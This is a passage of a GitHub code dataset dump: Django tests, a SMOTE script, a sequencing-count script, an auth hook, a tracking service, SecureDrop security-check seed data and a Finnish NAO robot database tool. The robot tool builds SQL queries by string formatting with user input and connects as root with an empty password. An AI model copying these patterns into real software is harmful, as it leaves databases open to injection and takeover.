self.assertTrue(obj.image)\n\n def test_post_detail_image(self):\n response = self.authorized_client_author.get(\n reverse(\"posts:post_detail\", kwargs={\"post_id\": self.post.id})\n )\n obj = response.context.get(\"post\")\n self.assertEqual(obj.text, \"Текст, написанный для проверки\")\n self.assertEqual(obj.author, self.author)\n self.assertEqual(obj.group, self.group)\n self.assertTrue(obj.image)\n\n\nclass TestCache(TestCase):\n def setUp(self):\n self.post_author = UsersCreate.author_create()\n self.AUTHOR = UsersCreate.authorized_author_client_create()\n self.GROUP = ObjectsCreate.group_create()\n self.POST = ObjectsCreate.post_create(\n self.GROUP, self.post_author, \"текст поста\"\n )\n\n def test_cache(self):\n response = self.AUTHOR.get(reverse(\"posts:index\"))\n not_deleted = response.content\n post_to_delete = Post.objects.first()\n post_to_delete.delete()\n response = self.AUTHOR.get(reverse(\"posts:index\"))\n was_deleted = response.content\n self.assertEqual(not_deleted, was_deleted)\n\n\nclass Testsubunsub(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user_a = User.objects.create_user(username=\"user_a\")\n cls.author_p = User.objects.create_user(username=\"author_p\")\n cls.group = Group.objects.create(\n slug=SLUG_1,\n title=\"test-title\",\n description=\"test-desc\",\n )\n\n def setUp(self):\n self.author = User.objects.create(\n username=\"test_name\",\n )\n self.post = Post.objects.create(\n author=self.author,\n text=\"Текст, написанный для проверки\",\n group=self.group,\n )\n self.guest_client = Client()\n self.authorized_client = Client()\n self.authorized_client.force_login(self.author)\n\n def test_user_unsub_and_sub(self):\n user2 = User.objects.create_user(username=\"User2\")\n Follow.objects.create(user=self.author_p, author=user2)\n followers_count = Follow.objects.filter(\n user=self.author_p, author=user2\n ).count()\n self.assertEqual(followers_count, 1)\n self.guest_client.get(reverse(\"posts:profile\",\n kwargs={\"username\": user2}))\n followers_count = Follow.objects.filter(\n user=self.user_a, author=user2).count()\n self.assertEqual(followers_count, 0)\n\n def test_follow_post_exists_in_follow_index(self):\n user2 = User.objects.create_user(username=\"User2\")\n post = Post.objects.create(text=\"Проверка подписки\", author=user2)\n Follow.objects.create(user=self.author, author=user2)\n response = self.authorized_client.get(reverse(\"posts:follow_index\"))\n post_text1 = response.context[\"page_obj\"][0].text\n self.assertEqual(post.text, post_text1)\n\n def test_unfollow_post_does_not_exists_in_follow_index(self):\n user2 = User.objects.create_user(username='User2')\n post = Post.objects.create(text='Проверка подписки', author=user2)\n test_client = Client()\n test_client.force_login(user2)\n Follow.objects.create(user=user2, author=self.author)\n response = test_client.get(reverse(\"posts:follow_index\"))\n post_text1 = response.context['page_obj'][0].text\n self.assertNotEqual(post.text, post_text1)\n","repo_name":"zece14zece/hw05_final","sub_path":"yatube/posts/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":11160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71460759068","text":"import random\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import NearestNeighbors\nimport numpy as np\n\ndf = pd.read_csv('/home/marius/VL_Unterlagen/DataAnaProject/Lyudmila/data/camel/Dataset_large_R.csv')#, encoding = 'utf-8')\n\n\ndef smote(dataframe, features, oversPerc, k, p, filename):\n\n \"\"\"\n Function takes pandas dataframe and applies Synthetic Minority Oversampling to it.\n :param dataframe: input dataframe in pandas format\n :param oversPerc: amount of oversampling in percent, usually a multiple of 101.\n :param features: specify features for distance computation\n :param n: number of randomly chosen minority observations among the k neighrest neighbors\n :param p:\n :return:\n \"\"\"\n\n minority_obs = dataframe.loc[df['Failure'] == 'FAILURE'] # filter rows from Failure subset (minority class)\n minority_obs_np = minority_obs[features].to_numpy() #take columns of interest and create np array for knn\n minority_obs_np = minority_obs_np[~np.isnan(minority_obs_np).any(axis=1)]\n knn = NearestNeighbors(n_neighbors=k)\n knn.fit(minority_obs_np)\n NearestNeighbors(algorithm='auto', leaf_size=30, n_neighbors = k+1, p=p,\n radius=2.0) # add 1 to numberNN to get numberNN \"real\" neighbors, every obs is its nearest neighbor\n #p=3 gives euclidean distance\n neighbors_dict = {} # dict for saving neighbors of each point\n # look up k+1 neighbors:\n neighbors = knn.kneighbors(minority_obs_np, return_distance=False, n_neighbors = k+1)\n for item in neighbors:\n neighbors_dict[item[0]] = item[1:].tolist() # exclude first entry of each item in neighbors (point itself)\n random_neighbors = {} # drawn random subset of knn depending on the desired oversampling rate:\n for key in neighbors_dict:\n random_neighbors[key] = []\n for _ in range(oversPerc//100):\n #print(neighbors_dict[key])\n random_neighbors[key].append(minority_obs_np[neighbors_dict[key][random.randint(0,3)]])\n synthetic_obs = []\n for key in random_neighbors:\n for value in random_neighbors[key]:\n # #print(minority_obs_np[key]) random.uniform(0,1) * (random_neighbors[key][value] - minority_obs_np[key]))\n # print(minority_obs_np[key])\n # print(random.uniform(0,1))\n synthetic_obs.append(minority_obs_np[key] + random.uniform(0,1) * (value - minority_obs_np[key]))\n synthetic_obs = np.array(synthetic_obs)\n minority_obs_np_ext = np.concatenate((minority_obs_np, synthetic_obs))\n minority_obs_np_ext = pd.DataFrame(data=minority_obs_np_ext[1:,:])\n minority_obs_np_ext.columns = features\n minority_obs_np_ext.to_csv(filename)\n\nfeatures = ['eq', 'lnatres', 'roa', 'naasset', 'sc', 'bro', 'asset', #questionable: variable naasset equal to non-perform assets?\n 'chbal', 'intan', 'lnreres', 'lnremult', 'lnrecons', 'lnrenres', 'lnci', 'lncon']\nsmote(df, features, oversPerc=400, k=4, p=2, filename='/home/marius/Desktop/Dataset_large_R_ext.csv')\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mabreitling/BankingDefaultPredictionSMOTE","sub_path":"Sources/smote.py","file_name":"smote.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71726498268","text":"## use this script to create a txt file with: 1) filename and 2) number of peaks/reads\n\nimport os\nimport pandas as pd\nfrom snakemake.io import *\nimport subprocess\n\ninput_file = snakemake.input[0]\noutput = snakemake.output[0]\n\ninput_dir = os.path.dirname(input_file) + '/'\nfiles = [input_dir + f for f in os.listdir(input_dir)]\n\nfname = []\ncounts = []\nfor f in files:\n if f.endswith('.bam'):\n cmd = \"samtools view \" + f + '| wc -l ' \n fname.append(os.path.splitext(os.path.basename(f))[0])\n count = int(subprocess.check_output(cmd, shell=True))\n counts.append(count)\n elif f.endswith('filtered.narrowPeak.gz'):\n fname.append(os.path.splitext(os.path.basename(f))[0])\n peak_df = pd.read_csv(f,header=None,sep='\\t',usecols=[0,3],compression='gzip')\n entries = peak_df[peak_df.columns[0]].count()\n counts.append(entries)\n\ndata = {'file': fname, 'counts': counts}\ndf = pd.DataFrame(data)\ndf.to_csv(output,index=False,header=True,sep='\\t')\n\nprint('')\nprint('Done')\nprint('')","repo_name":"dvespasiani/atac-seq-preprocessing","sub_path":"bin/get-counts.py","file_name":"get-counts.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37259416102","text":"from __future__ import unicode_literals\n\nfrom django.conf import settings\nfrom django.template.loader import render_to_string\n\nfrom services.hooks import ServicesHook\nfrom alliance_auth import hooks\n\nfrom .urls import urlpatterns\nfrom .tasks import IpboardTasks\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass IpboardService(ServicesHook):\n def __init__(self):\n ServicesHook.__init__(self)\n self.name = 'ipboard'\n self.service_url = settings.IPBOARD_ENDPOINT\n self.urlpatterns = urlpatterns\n self.access_perm = 'ipboard.access_ipboard'\n\n @property\n def title(self):\n return 'IPBoard Forums'\n\n def delete_user(self, user, notify_user=False):\n logger.debug('Deleting user %s %s account' % (user, self.name))\n return IpboardTasks.delete_user(user, notify_user=notify_user)\n\n def update_groups(self, user):\n logger.debug(\"Updating %s groups for %s\" % (self.name, user))\n if IpboardTasks.has_account(user):\n IpboardTasks.update_groups.delay(user.pk)\n\n def validate_user(self, user):\n logger.debug('Validating user %s %s account' % (user, self.name))\n if IpboardTasks.has_account(user) and not self.service_active_for_user(user):\n self.delete_user(user, notify_user=True)\n\n def update_all_groups(self):\n logger.debug('Update all %s groups called' % self.name)\n IpboardTasks.update_all_groups.delay()\n\n def service_active_for_user(self, user):\n return user.has_perm(self.access_perm)\n\n def render_services_ctrl(self, request):\n urls = self.Urls()\n urls.auth_activate = 'auth_activate_ipboard'\n urls.auth_deactivate = 'auth_deactivate_ipboard'\n urls.auth_reset_password = 'auth_reset_ipboard_password'\n urls.auth_set_password = 'auth_set_ipboard_password'\n return render_to_string(self.service_ctrl_template, {\n 'service_name': self.title,\n 'urls': urls,\n 'service_url': self.service_url,\n 'username': request.user.ipboard.username if IpboardTasks.has_account(request.user) else '',\n }, request=request)\n\n\n@hooks.register('services_hook')\ndef register_service():\n return IpboardService()\n","repo_name":"blackscorpioninc/corp.auth","sub_path":"services/modules/ipboard/auth_hooks.py","file_name":"auth_hooks.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14498933362","text":"from app.repositories.paquete.tracking_repository import TrackingRepository\nfrom app.models.paquete.tracking_model import TrackingCreate, TrackingUpdate\nfrom app.errors.common_errors import EntitiesNotFoundError, EntityNotFoundError, EntityCreationError, EntityUpdateError, EntityDeletionError\n\nclass TrackingService:\n def __init__(self):\n self.repository = TrackingRepository()\n\n async def get_tracking_by_filters(self, paquete_id:int=None, estado_tracking_id:int=None, salida_id:int=None):\n trackings = await self.repository.get_tracking_by_filters(paquete_id, estado_tracking_id, salida_id)\n return [] if not trackings else trackings\n\n async def get_by_id(self, tracking_id: int):\n tracking = await self.repository.get_by_id(tracking_id)\n if not tracking:\n raise EntityNotFoundError(\"Tracking\", tracking_id)\n return tracking\n\n async def create(self, tracking: TrackingCreate):\n try:\n return await self.repository.create(tracking.dict())\n except Exception as e:\n raise EntityCreationError(\"Tracking\")\n \n async def update(self, tracking_id: int, tracking: TrackingUpdate):\n existing_tracking = await self.repository.get_by_id(tracking_id)\n if existing_tracking:\n tracking_update = {key: value for key, value in tracking.dict().items() if value is not None}\n if tracking_update:\n try:\n return await self.repository.update(tracking_id, tracking_update)\n except Exception as e:\n raise EntityUpdateError(\"Tracking\")\n raise EntityNotFoundError(\"Tracking\", tracking_id)\n\n async def delete(self, tracking_id: int):\n existing_tracking = await self.repository.get_by_id(tracking_id)\n if existing_tracking:\n try:\n return await self.repository.delete(tracking_id)\n except Exception as e:\n raise EntityDeletionError(\"Tracking\")\n raise EntityNotFoundError(\"Tracking\", tracking_id)\n","repo_name":"jmateo95/paqueteria","sub_path":"app/services/paquete/tracking_service.py","file_name":"tracking_service.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38992453888","text":"from django.db import transaction\nfrom django.core.management.base import BaseCommand\n\nfrom wagtail.rich_text import RichText\n\nfrom directory.models import ResultGroup, ResultState\n\n\nclass Command(BaseCommand):\n help = 'Creates result groups that store information shown as scan results.'\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--delete',\n action='store_true',\n dest='delete',\n default=False,\n help='Delete all result groups and create new ones',\n )\n\n @transaction.atomic\n def handle(self, *args, **options):\n if options['delete']:\n ResultGroup.objects.all().delete()\n ResultState.objects.all().delete()\n\n basic, _ = ResultGroup.objects.get_or_create(name='Basic')\n https, _ = ResultGroup.objects.get_or_create(name='HTTPS')\n server_security, _ = ResultGroup.objects.get_or_create(name='Server Security')\n caching, _ = ResultGroup.objects.get_or_create(name='Caching')\n metadata, _ = ResultGroup.objects.get_or_create(name='Metadata')\n third_parties, _ = ResultGroup.objects.get_or_create(name='3rd Parties')\n local_storage, _ = ResultGroup.objects.get_or_create(name='Local Storage')\n\n ResultState.objects.bulk_create([\n ResultState(\n name='live',\n success_text='Successfully received landing page.',\n failure_text='Could not get to landing page.',\n is_warning=False,\n result_group=basic,\n sort_order=1\n ),\n ResultState(\n name='http_status_200_ok',\n success_text='Server responded with 200 OK.',\n failure_text='Server did not respond with 200 OK.',\n is_warning=False,\n result_group=basic,\n sort_order=2\n ),\n ResultState(\n name='expected_encoding',\n success_text='Expected encoding found on landing page.',\n failure_text='Unexpected encoding found on landing page.',\n is_warning=False,\n result_group=basic,\n sort_order=4\n ),\n ResultState(\n name='forces_https',\n success_text='Landing page enforces HTTPS.',\n failure_text='Landing page does not enforce HTTPS. HTTPS is critical for security on the landing page.',\n fix_text=RichText(\"Why?How can I set up HTTPS?\"),\n is_warning=False,\n result_group=https,\n sort_order=1\n ),\n ResultState(\n name='hsts',\n success_text='HSTS is supported.',\n failure_text='HSTS is not supported.',\n is_warning=True,\n result_group=https,\n sort_order=2\n ),\n ResultState(\n name='hsts_max_age',\n success_text='HSTS max age is at least a year.',\n failure_text='HSTS max age is less than a year.',\n is_warning=True,\n result_group=https,\n sort_order=3\n ),\n ResultState(\n name='hsts_entire_domain',\n success_text='HTTPS is enforced on the entire domain.',\n failure_text='HTTPS is not enforced on the entire domain.',\n is_warning=True,\n result_group=https,\n sort_order=4\n ),\n ResultState(\n name='hsts_preloaded',\n success_text='HSTS preloaded',\n failure_text=RichText('The page is not HSTS preloaded'),\n is_warning=True,\n result_group=https,\n sort_order=5\n ),\n ResultState(\n name='no_server_info',\n success_text='Server software not found in headers.',\n failure_text='Server software should not appear in headers.',\n is_warning=True,\n result_group=server_security,\n sort_order=1\n ),\n ResultState(\n name='no_server_version',\n success_text='No version info found in headers.',\n failure_text='Software version should not appear in headers.',\n is_warning=True,\n result_group=server_security,\n sort_order=2\n ),\n ResultState(\n name='csp_origin_only',\n success_text='HSTS preloaded',\n failure_text=RichText('Content Security Policy (CSP) loads only from the origin domain.'),\n fix_text=RichText(\"

Add the following to your security headers:

Content-Security-Policy default-src 'self'
\"),\n is_warning=True,\n result_group=server_security,\n sort_order=3\n ),\n ResultState(\n name='mime_sniffing_blocked',\n success_text=RichText('MIME sniffing is blocked.'),\n failure_text=RichText('MIME sniffing is possible.'),\n is_warning=True,\n result_group=server_security,\n sort_order=4\n ),\n ResultState(\n name='noopen_download',\n success_text=RichText('Users cannot accidentally open a download'),\n failure_text=RichText('Users can accidentally open a download'),\n fix_text=RichText('

Add the following to your security headers:

X-Download-Options noopen
'),\n is_warning=True,\n result_group=server_security,\n sort_order=5\n ),\n ResultState(\n name='xss_protection',\n success_text=RichText('XSS filtering is enabled.'),\n failure_text=RichText('XSS attacks are not prevented.'),\n fix_text=RichText('

Add the following to your security headers:

X-XSS-Protection 1; mode=block
'),\n is_warning=True,\n result_group=server_security,\n sort_order=6\n ),\n ResultState(\n name='clickjacking_protection',\n success_text=RichText('Ensures that the server forbids embedding this page within an iframe, to prevent clickjacking attacks. Otherwise another site could embed the Landing Page and mess with it.'),\n failure_text=RichText('The server does not forbid embedding this page within an iframe, to prevent clickjacking attacks. Another site could embed the Landing Page and mess with it.'),\n fix_text=RichText('

Add the following to your security headers:

X-Frame-Options DENY
'),\n is_warning=True,\n result_group=server_security,\n sort_order=7\n ),\n ResultState(\n name='good_cross_domain_policy',\n success_text='Cross Domain Policy set correctly.',\n failure_text='Cross Domain Policy not set correctly.',\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

X-Permitted-Cross-Domain-Policies master-only
'),\n result_group=server_security,\n sort_order=8\n ),\n ResultState(\n name='http_1_0_caching_disabled',\n success_text='Caching is disabled (HTTP/1.0).',\n failure_text='Caching is not disabled (HTTP/1.0).',\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

Pragma no-cache
'),\n result_group=caching,\n sort_order=1\n ),\n ResultState(\n name='cache_control_set',\n success_text=RichText('Caching is disabled (HTTP/1.1).'),\n failure_text=RichText('Caching is not disabled (HTTP/1.1).'),\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

Cache-Control \"max-age=0, no-cache, no-store, must-revalidate, private\"
'),\n result_group=caching,\n sort_order=2\n ),\n ResultState(\n name='cache_control_revalidate_set',\n success_text=RichText('Cache-Control must revalidate header set properly.'),\n failure_text=RichText('Cache-Control must-revalidate header not set properly.'),\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

Cache-Control \"max-age=0, no-cache, no-store, must-revalidate, private\"
'),\n result_group=caching,\n sort_order=3\n ),\n ResultState(\n name='cache_control_nocache_set',\n success_text=RichText('Cache-Control no-cache header set properly.'),\n failure_text=RichText('Cache-Control no-cache header not set properly.'),\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

Cache-Control \"max-age=0, no-cache, no-store, must-revalidate, private\"
'),\n result_group=caching,\n sort_order=4\n ),\n ResultState(\n name='cache_control_notransform_set',\n success_text=RichText('Cache-Control no-store header set properly.'),\n failure_text=RichText('Cache-Control no-store header not set properly.'),\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

Cache-Control \"max-age=0, no-cache, no-store, must-revalidate, private\"
'),\n result_group=caching,\n sort_order=5\n ),\n ResultState(\n name='cache_control_private_set',\n success_text=RichText('Cache-Control private header set properly.'),\n failure_text=RichText('Cache-Control private header not set properly.'),\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

Cache-Control \"max-age=0, no-cache, no-store, must-revalidate, private\"
'),\n result_group=caching,\n sort_order=6\n ),\n ResultState(\n name='expires_set',\n success_text=RichText('The page is marked as expired, so no cache will be used.'),\n failure_text=RichText('The page is not marked as expired. Cache may be used.'),\n is_warning=True,\n fix_text=RichText('

Add the following to your security headers:

Expires -1
'),\n result_group=caching,\n sort_order=7\n ),\n ResultState(\n name='safe_onion_address',\n success_text='No clickable onion addresses were found.',\n failure_text='Onion address should not be a clickable link. If clicked, some browsers will send a DNS request that will not be routed through tor, producing metadata that can identify a source.',\n is_warning=False,\n result_group=metadata,\n sort_order=1\n ),\n ResultState(\n name='subdomain',\n success_text='Landing page is not hosted on a subdomain.',\n failure_text='Landing page should not be hosted on a subdomain. Using a subdomain can reveal to a passive observer that the client is looking at the securedrop page on your website.',\n is_warning=True,\n result_group=metadata,\n sort_order=2\n ),\n ResultState(\n name='no_cdn',\n success_text='Use of CDNs not found.',\n failure_text='CDNs are a 3rd party that function by man-in-the-middling traffic. Do not use a CDN on the landing page.',\n is_warning=True,\n result_group=third_parties,\n sort_order=1\n ),\n ResultState(\n name='no_analytics',\n success_text='Use of Google Analytics not found.',\n failure_text='Google Analytics provides information that can be stored and disclosed by 3rd parties. Do not use analytics on the landing page.',\n is_warning=False,\n result_group=third_parties,\n sort_order=2\n ),\n ResultState(\n name='no_cookies',\n success_text='Landing page does not use cookies.',\n failure_text='The landing page should not use cookies.',\n is_warning=False,\n result_group=local_storage,\n sort_order=1\n ),\n ResultState(\n name='referrer_policy_set_to_no_referrer',\n success_text='Referrer-Policy no-referrer header set properly.',\n failure_text='Referrer-Policy no-referrer header not set properly.',\n is_warning=True,\n result_group=server_security,\n sort_order=9\n ),\n ])\n","repo_name":"freedomofpress/securedrop.org","sub_path":"directory/management/commands/createresultgroups.py","file_name":"createresultgroups.py","file_ext":"py","file_size_in_byte":15593,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"11"} +{"seq_id":"4700928560","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\nPalvelimen tiedot\n\"\"\"\nHOST = \"127.0.0.1\"\nPORT = 3306\nUSER = \"root\"\nPASSWORD = \"\"\nDB = \"nao_tietokanta\"\n\ntietokantaLaajuus = []\ntietokantaToimintoTiedot = []\n\nrobottiLaajuus = []\nrobottiTiedot = []\n\nimport pymysql\nfrom pymysql import IntegrityError, InternalError\nfrom tkinter import messagebox\n\n\"\"\"\nTestataan yhteys palvelimeen\n\"\"\"\ntry:\n\tyhteys = pymysql.connect(host=HOST, port=PORT, user=USER, password=PASSWORD, db=DB)\n\tcursor = yhteys.cursor()\nexcept ConnectionError:\n messagebox.showerror(\"VIRHE!\",\"Yhteys virhe. \\nTietokantaan ei saatu yhteyytä\")\n\ndef testaaPalvelin():\n try:\n yhteys = pymysql.connect(host=HOST, port=PORT, user=USER, password=PASSWORD, db=DB)\n cursor = yhteys.cursor()\n yhdistetty = True\n except ConnectionError:\n yhdistetty = False\n if yhdistetty == True:\n messagebox.showinfo(\"Onnistui\",\"Yhdistetty palvelimeen onnistuneesti\")\n else: \n messagebox.showerror(\"VIRHE!\",\"Yhteys virhe. \\nTietokantaan ei saatu yhteyytä\")\n\ndef defaultPalvelin():\n #Default palvelimen tiedot, jotka voidaan palauttaa tarpeen vaatiessa.\n HOST = \"127.0.0.1\"\n PORT = 3306\n USER = \"root\"\n PASSWORD = \"\"\n DB = \"nao_tietokanta\"\n\ndef tuoViimeisinPalvelin():\n try:\n palvelin=open(\"PalvelinAsetukset.txt\", \"r\")\n rivit=palvelin.readlines()\n HOST = rivit[0]\n PORT = int(rivit[1])\n USER = rivit[2]\n PASSWORD = rivit[3]\n DB = rivit[4]\n palvelin.close()\n except:\n defaultPalvelin()\n\ndef tallennaPalvelin():\n vastaus=messagebox.askquestion(\"Tallenna palvelintiedot\", \"Oletko varma\\n Tätä toimintoa ei voi peruuttaa\")\n if vastaus == 'yes':\n palvelin = open(\"PalvelinAsetukset.txt\", \"w\")\n rivit = (HOST, \"\\n\"+ str(PORT)+ \"\\n\"+ USER, \"\\n\"+ PASSWORD, \"\\n\"+DB)\n palvelin.writelines(rivit)\n palvelin.close()\n\ndef tuoTietokanta():\n try:\n cursor.execute(\"SELECT nro FROM nao_tiedot\")\n while True:\n row = cursor.fetchone()\n if row == None:\n break\n else:\n row=row[-1]\n tietokantaLaajuus.append(row)\n index = 0\n for i in range(len(tietokantaLaajuus)):\n tuoTieto(index)\n index = index+1\n except ConnectionError:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoTietokanta\")\n\ndef tuoTieto(index):\n sql = (\"SELECT toiminto FROM nao_tiedot WHERE nro = {0}\").format(tietokantaLaajuus[index])\n try:\n cursor.execute(sql)\n toiminto = cursor.fetchone()\n toiminto = toiminto[-1]\n toiminto = str.replace(toiminto, \"HEITTOMERKKI\", \"'\")\n tietokantaToimintoTiedot.append(toiminto)\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoTieto\")\n\ndef tuoToiminto(value):\n sql = (\"SELECT kuvaus FROM nao_tiedot WHERE toiminto = '{0}'\").format(value)\n try:\n cursor.execute(sql)\n kuvaus = cursor.fetchone()\n kuvaus = kuvaus[-1]\n kuvaus = str.replace(kuvaus, \"HEITTOMERKKI\", \"'\")\n return kuvaus\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoToiminto\")\n\ndef tuoKoodi(value):\n sql = (\"SELECT koodi FROM nao_tiedot WHERE toiminto = '{0}'\").format(value)\n try:\n cursor.execute(sql)\n koodi = cursor.fetchone()\n koodi = koodi[-1]\n koodi = str.replace(koodi, \"HEITTOMERKKI\", \"'\")\n return koodi\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoKoodi\")\n\ndef uusiToiminto(toiminto, kuvaus, koodi):\n if len(toiminto) > 0:\n kuvaus=str.replace(kuvaus, \"'\", \"HEITTOMERKKI\")[:-1]\n toiminto=str.replace(toiminto, \"'\", \"HEITTOMERKKI\")\n koodi=str.replace(koodi, \"'\", \"HEITTOMERKKI\")[:-1]\n sql = (\"INSERT INTO nao_tiedot(toiminto, kuvaus, koodi) VALUES('{0}','{1}','{2}')\").format(toiminto,kuvaus,koodi)\n try:\n cursor.execute(sql)\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:uusiToiminto\")\n else:\n messagebox.showerror(\"VIRHE\",\"Nimi on pakollinen\")\n\ndef poistaToiminto(toiminto):\n toiminto=str.replace(toiminto, \"'\", \"HEITTOMERKKI\")\n vastaus=messagebox.askquestion(\"Poista Toiminto\", \"Oletko varma?\\n Tätä toimintoa ei voi peruuttaa\")\n if vastaus == 'yes':\n sql = (\"DELETE FROM nao_tiedot WHERE toiminto = '{0}'\").format(toiminto)\n try:\n cursor.execute(sql)\n messagebox.showinfo(\"Onnistui\", \"Tapahtuma suoritettu onnistuneesti\")\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:PoistaToiminto\")\n else:\n pass\n \ndef tallennaKoodi(koodi, kuvaus, toiminto):\n vastaus=messagebox.askquestion(\"Poista Toiminto\", \"Oletko varma?\\n Tätä toimintoa ei voi peruuttaa\")\n if vastaus == 'yes':\n kuvaus=str.replace(kuvaus, \"'\", \"HEITTOMERKKI\")\n toiminto=str.replace(toiminto, \"'\", \"HEITTOMERKKI\")\n koodi=str.replace(koodi, \"'\", \"HEITTOMERKKI\")\n sql = (\"UPDATE nao_tiedot SET koodi = '{0}', kuvaus = '{1}' WHERE toiminto= '{2}'\").format(koodi, kuvaus, toiminto)\n try:\n cursor.execute(sql)\n messagebox.showinfo(\"Onnistui\", \"Koodin tallennus suoritettu onnistuneesti\")\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tallennaKoodi\")\n else:\n pass\n\ndef tuoRobotit():\n try:\n cursor.execute(\"SELECT nro FROM nao_robotti\")\n while True:\n row = cursor.fetchone()\n if row == None:\n break\n else:\n row=row[-1]\n robottiLaajuus.append(row)\n index = 0\n for i in range(len(robottiLaajuus)):\n tuoRobotti(index)\n index = index+1\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoRobotit\")\n\ndef tuoRobotti(index):\n sql = (\"SELECT nimi FROM nao_robotti WHERE nro = {0}\").format(robottiLaajuus[index])\n try:\n cursor.execute(sql)\n nimi = cursor.fetchone()\n nimi = nimi[-1]\n robottiTiedot.append(nimi)\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoRobotti\")\n\ndef tallennaRobotti(nimi, kuvaus, ip, portti):\n if len(nimi) > 0 and len(ip) > 0 and len(portti) > 0:\n nimi=str.replace(nimi, \"'\", \"HEITTOMERKKI\")\n kuvaus=str.replace(kuvaus, \"'\", \"HEITTOMERKKI\")\n sql = (\"INSERT INTO nao_robotti (nimi, kuvaus, ip, port) VALUES ('{0}', '{1}', '{2}', '{3}')\").format(nimi, kuvaus, ip, portti)\n try:\n cursor.execute(sql)\n messagebox.showinfo(\"ONNISTUI\", \"Uusi Robotti tallennettu onnistuneesti\")\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tallennaRobotti\")\n else:\n messagebox.showerror(\"VIRHE\",\"Tarkista nimi, ip ja portti\")\n\ndef tuoRobottiKuvaus(value):\n print(value)\n sql = (\"SELECT kuvaus FROM nao_robotti WHERE nimi = '{0}'\").format(value)\n try:\n cursor.execute(sql)\n kuvaus = cursor.fetchone()\n kuvaus = kuvaus[-1]\n kuvaus = str.replace(kuvaus, \"HEITTOMERKKI\", \"'\")\n return kuvaus\n except Exception as e:\n print(e)\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoRobottiKuvaus\")\n\ndef tuoRobottiIp(value):\n sql = (\"SELECT ip FROM nao_robotti WHERE nimi = '{0}'\").format(value)\n try:\n cursor.execute(sql)\n ip = cursor.fetchone()\n ip = ip[-1]\n return ip\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoRobottiIp\")\n\ndef tuoRobottiPortti(value):\n sql = (\"SELECT port FROM nao_robotti WHERE nimi = '{0}'\").format(value)\n try:\n cursor.execute(sql)\n portti = cursor.fetchone()\n portti = portti[-1]\n return portti\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:tuoRobottiPortti\")\n\ndef poistaRobotti(nimi):\n vastaus=messagebox.askquestion(\"Poista robotti\", \"Oletko varma?\\n Tätä toimintoa ei voi peruuttaa\")\n if vastaus == 'yes':\n nimi = str.replace(nimi, \"'\", \"HEITTOMERKKI\")\n sql = (\"DELETE FROM nao_robotti WHERE nimi = '{0}'\").format(nimi)\n try:\n cursor.execute(sql)\n messagebox.showinfo(\"Onnistui\", \"Tapahtuma suoritettu onnistuneesti\")\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", \"YHTEYSVIRHE\\nkoodi:PoistaToiminto\")\n else:\n pass\n\ndef paivitaRobotti(nimi, kuvaus, ip, portti):\n vastaus=messagebox.askquestion(\"Päivitä robotin tiedot\", \"Oletko varma?\\n Tätä toimintoa ei voi peruuttaa\")\n if vastaus == 'yes':\n nimi=str.replace(nimi, \"'\", \"HEITTOMERKKI\")\n kuvaus=str.replace(kuvaus, \"'\", \"HEITTOMERKKI\")\n sql = (\"UPDATE nao_robotti SET kuvaus = '{1}', ip = '{2}', port = '{3}' WHERE nimi = '{0}'\").format(nimi, kuvaus, ip, portti)\n try:\n cursor.execute(sql)\n messagebox.showinfo(\"Onnistui\", \"Koodin tallennus suoritettu onnistuneesti\")\n except:\n yhteys.rollback()\n messagebox.showerror(\"YHTEYS VIRHE\", 